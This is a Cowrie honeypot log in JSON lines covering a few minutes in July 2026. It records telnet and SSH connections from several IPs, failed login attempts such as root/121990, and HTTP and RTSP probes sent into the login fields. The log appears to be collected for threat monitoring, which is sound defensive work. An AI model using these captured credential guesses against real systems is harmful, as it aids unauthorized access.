{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:59.819564Z","src_ip":"34.14.96.221","session":"26e4adcfc23f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08751368522644043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:59.898860Z","src_ip":"34.14.96.221","session":"26e4adcfc23f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5308,"dst_ip":"10.17.0.5","dst_port":23,"session":"c393edf54af4","protocol":"telnet","message":"New connection: 34.14.96.221:5308 (10.17.0.5:23) [session: c393edf54af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:59:59.974134Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5310,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fad46dbc5f","protocol":"telnet","message":"New connection: 34.14.96.221:5310 (10.17.0.5:23) [session: 02fad46dbc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.131759Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5316,"dst_ip":"10.17.0.5","dst_port":23,"session":"55cdf02b72f9","protocol":"telnet","message":"New connection: 34.14.96.221:5316 (10.17.0.5:23) [session: 55cdf02b72f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.288539Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5328,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d50dff8ffe0","protocol":"telnet","message":"New connection: 34.14.96.221:5328 (10.17.0.5:23) [session: 7d50dff8ffe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.448101Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5344,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2efaf6dd754","protocol":"telnet","message":"New connection: 34.14.96.221:5344 (10.17.0.5:23) [session: d2efaf6dd754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.649693Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5356,"dst_ip":"10.17.0.5","dst_port":23,"session":"67014064b236","protocol":"telnet","message":"New connection: 34.14.96.221:5356 (10.17.0.5:23) [session: 67014064b236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.806633Z"}
{"eventid":"cowrie.session.closed","duration":0.26868176460266113,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.918249Z","src_ip":"34.14.96.221","session":"d2efaf6dd754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.4754159450531006,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.923413Z","src_ip":"34.14.96.221","session":"7d50dff8ffe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6381485462188721,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.926542Z","src_ip":"34.14.96.221","session":"55cdf02b72f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7975642681121826,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.929160Z","src_ip":"34.14.96.221","session":"02fad46dbc5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9578495025634766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.931814Z","src_ip":"34.14.96.221","session":"c393edf54af4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.28870463371277,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:00.944594Z","src_ip":"34.14.96.221","session":"f9800b91e659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5362,"dst_ip":"10.17.0.5","dst_port":23,"session":"3399f71b3ff6","protocol":"telnet","message":"New connection: 34.14.96.221:5362 (10.17.0.5:23) [session: 3399f71b3ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:01.053892Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5368,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d1d7e40cde","protocol":"telnet","message":"New connection: 34.14.96.221:5368 (10.17.0.5:23) [session: 89d1d7e40cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:01.222652Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5376,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce6a14605d9b","protocol":"telnet","message":"New connection: 34.14.96.221:5376 (10.17.0.5:23) [session: ce6a14605d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:01.385617Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8938381901f","protocol":"telnet","message":"New connection: 34.14.96.221:5378 (10.17.0.5:23) [session: f8938381901f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:01.618035Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5390,"dst_ip":"10.17.0.5","dst_port":23,"session":"8702b8b82b6e","protocol":"telnet","message":"New connection: 34.14.96.221:5390 (10.17.0.5:23) [session: 8702b8b82b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:01.773259Z"}
{"eventid":"cowrie.session.closed","duration":0.010496139526367188,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:01.783612Z","src_ip":"34.14.96.221","session":"8702b8b82b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5404,"dst_ip":"10.17.0.5","dst_port":23,"session":"713b9e09ff59","protocol":"telnet","message":"New connection: 34.14.96.221:5404 (10.17.0.5:23) [session: 713b9e09ff59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:01.936897Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5406,"dst_ip":"10.17.0.5","dst_port":23,"session":"7571bd41c10b","protocol":"telnet","message":"New connection: 34.14.96.221:5406 (10.17.0.5:23) [session: 7571bd41c10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:02.094790Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5410,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd0bc6fdf9da","protocol":"telnet","message":"New connection: 34.14.96.221:5410 (10.17.0.5:23) [session: cd0bc6fdf9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:02.268426Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5426,"dst_ip":"10.17.0.5","dst_port":23,"session":"95a38896d2bc","protocol":"telnet","message":"New connection: 34.14.96.221:5426 (10.17.0.5:23) [session: 95a38896d2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:02.426187Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5428,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d1a82a4c77","protocol":"telnet","message":"New connection: 34.14.96.221:5428 (10.17.0.5:23) [session: 60d1a82a4c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:02.585789Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5444,"dst_ip":"10.17.0.5","dst_port":23,"session":"146e3a60069e","protocol":"telnet","message":"New connection: 34.14.96.221:5444 (10.17.0.5:23) [session: 146e3a60069e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:02.744717Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":5446,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd74d1d8f0d","protocol":"telnet","message":"New connection: 34.14.96.221:5446 (10.17.0.5:23) [session: ebd74d1d8f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:02.907294Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15872,"dst_ip":"10.17.0.5","dst_port":23,"session":"b244f308e49f","protocol":"telnet","message":"New connection: 34.14.96.221:15872 (10.17.0.5:23) [session: b244f308e49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:03.063082Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15876,"dst_ip":"10.17.0.5","dst_port":23,"session":"d799199cfe65","protocol":"telnet","message":"New connection: 34.14.96.221:15876 (10.17.0.5:23) [session: d799199cfe65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:03.220289Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:03.226647Z","src_ip":"34.14.96.221","session":"d799199cfe65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15882,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d70c47dd803","protocol":"telnet","message":"New connection: 34.14.96.221:15882 (10.17.0.5:23) [session: 9d70c47dd803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:03.389500Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15894,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a912099483","protocol":"telnet","message":"New connection: 34.14.96.221:15894 (10.17.0.5:23) [session: 87a912099483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:03.546217Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15904,"dst_ip":"10.17.0.5","dst_port":23,"session":"386895cb746d","protocol":"telnet","message":"New connection: 34.14.96.221:15904 (10.17.0.5:23) [session: 386895cb746d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:03.714843Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15918,"dst_ip":"10.17.0.5","dst_port":23,"session":"3febf7edc95f","protocol":"telnet","message":"New connection: 34.14.96.221:15918 (10.17.0.5:23) [session: 3febf7edc95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:03.870422Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15922,"dst_ip":"10.17.0.5","dst_port":23,"session":"342c72b728a4","protocol":"telnet","message":"New connection: 34.14.96.221:15922 (10.17.0.5:23) [session: 342c72b728a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.026141Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15938,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4485ed3c23c","protocol":"telnet","message":"New connection: 34.14.96.221:15938 (10.17.0.5:23) [session: a4485ed3c23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.184236Z"}
{"eventid":"cowrie.session.closed","duration":0.006197929382324219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.190253Z","src_ip":"34.14.96.221","session":"a4485ed3c23c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15944,"dst_ip":"10.17.0.5","dst_port":23,"session":"a013d4040204","protocol":"telnet","message":"New connection: 34.14.96.221:15944 (10.17.0.5:23) [session: a013d4040204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.342276Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15948,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b06b3f3992","protocol":"telnet","message":"New connection: 34.14.96.221:15948 (10.17.0.5:23) [session: 21b06b3f3992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.498096Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8769","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8769] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.503849Z","src_ip":"34.14.96.221","session":"21b06b3f3992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.96.221","src_port":15964,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f493ade58b","protocol":"telnet","message":"New connection: 34.14.96.221:15964 (10.17.0.5:23) [session: 75f493ade58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.660963Z"}
{"eventid":"cowrie.session.closed","duration":0.007037639617919922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:04.667696Z","src_ip":"34.14.96.221","session":"75f493ade58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44652,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaf29680a0a0","protocol":"ssh","message":"New connection: 8.210.75.243:44652 (10.17.0.5:22) [session: eaf29680a0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:07.919324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:07.952669Z","src_ip":"8.210.75.243","session":"eaf29680a0a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":39508,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e33f44b3d1c","protocol":"ssh","message":"New connection: 193.37.70.224:39508 (159.203.135.109:22) [session: 0e33f44b3d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:11.895217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:11.899854Z","src_ip":"193.37.70.224","session":"0e33f44b3d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:11.986479Z","src_ip":"193.37.70.224","session":"0e33f44b3d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121990","message":"login attempt [root/121990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:12.245288Z","src_ip":"193.37.70.224","session":"0e33f44b3d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:13.333598Z","src_ip":"193.37.70.224","session":"0e33f44b3d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.091092586517334,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.835556Z","src_ip":"34.14.96.221","session":"146e3a60069e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.254107236862183,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.839725Z","src_ip":"34.14.96.221","session":"60d1a82a4c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.424058675765991,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.850100Z","src_ip":"34.14.96.221","session":"95a38896d2bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.585016250610352,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.853298Z","src_ip":"34.14.96.221","session":"cd0bc6fdf9da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.761451959609985,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.856079Z","src_ip":"34.14.96.221","session":"7571bd41c10b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.927342653274536,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.864060Z","src_ip":"34.14.96.221","session":"713b9e09ff59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.249603748321533,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.867479Z","src_ip":"34.14.96.221","session":"f8938381901f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.48517394065857,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.870631Z","src_ip":"34.14.96.221","session":"ce6a14605d9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.819376707077026,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.873164Z","src_ip":"34.14.96.221","session":"3399f71b3ff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.653180122375488,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.875717Z","src_ip":"34.14.96.221","session":"89d1d7e40cde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.072834014892578,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.879299Z","src_ip":"34.14.96.221","session":"67014064b236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.455142974853516,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.953106Z","src_ip":"34.14.96.221","session":"21b06b3f3992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.617653846740723,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.959794Z","src_ip":"34.14.96.221","session":"a013d4040204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.937393426895142,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.963352Z","src_ip":"34.14.96.221","session":"342c72b728a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.099994659423828,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.970250Z","src_ip":"34.14.96.221","session":"3febf7edc95f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.261444091796875,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.976208Z","src_ip":"34.14.96.221","session":"386895cb746d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.433415651321411,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.979476Z","src_ip":"34.14.96.221","session":"87a912099483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.593570709228516,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:15.982904Z","src_ip":"34.14.96.221","session":"9d70c47dd803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.787122011184692,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:16.007205Z","src_ip":"34.14.96.221","session":"d799199cfe65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.948207139968872,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:16.011150Z","src_ip":"34.14.96.221","session":"b244f308e49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.109004259109497,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:16.016095Z","src_ip":"34.14.96.221","session":"ebd74d1d8f0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54000,"dst_ip":"159.203.135.109","dst_port":23,"session":"f777486bf2a2","protocol":"telnet","message":"New connection: 170.64.224.25:54000 (159.203.135.109:23) [session: f777486bf2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:44.434890Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":41280,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a4c87effc2","protocol":"ssh","message":"New connection: 45.148.10.121:41280 (10.17.0.5:22) [session: f5a4c87effc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.197817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:00:48.201237Z","src_ip":"45.148.10.121","session":"f5a4c87effc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-c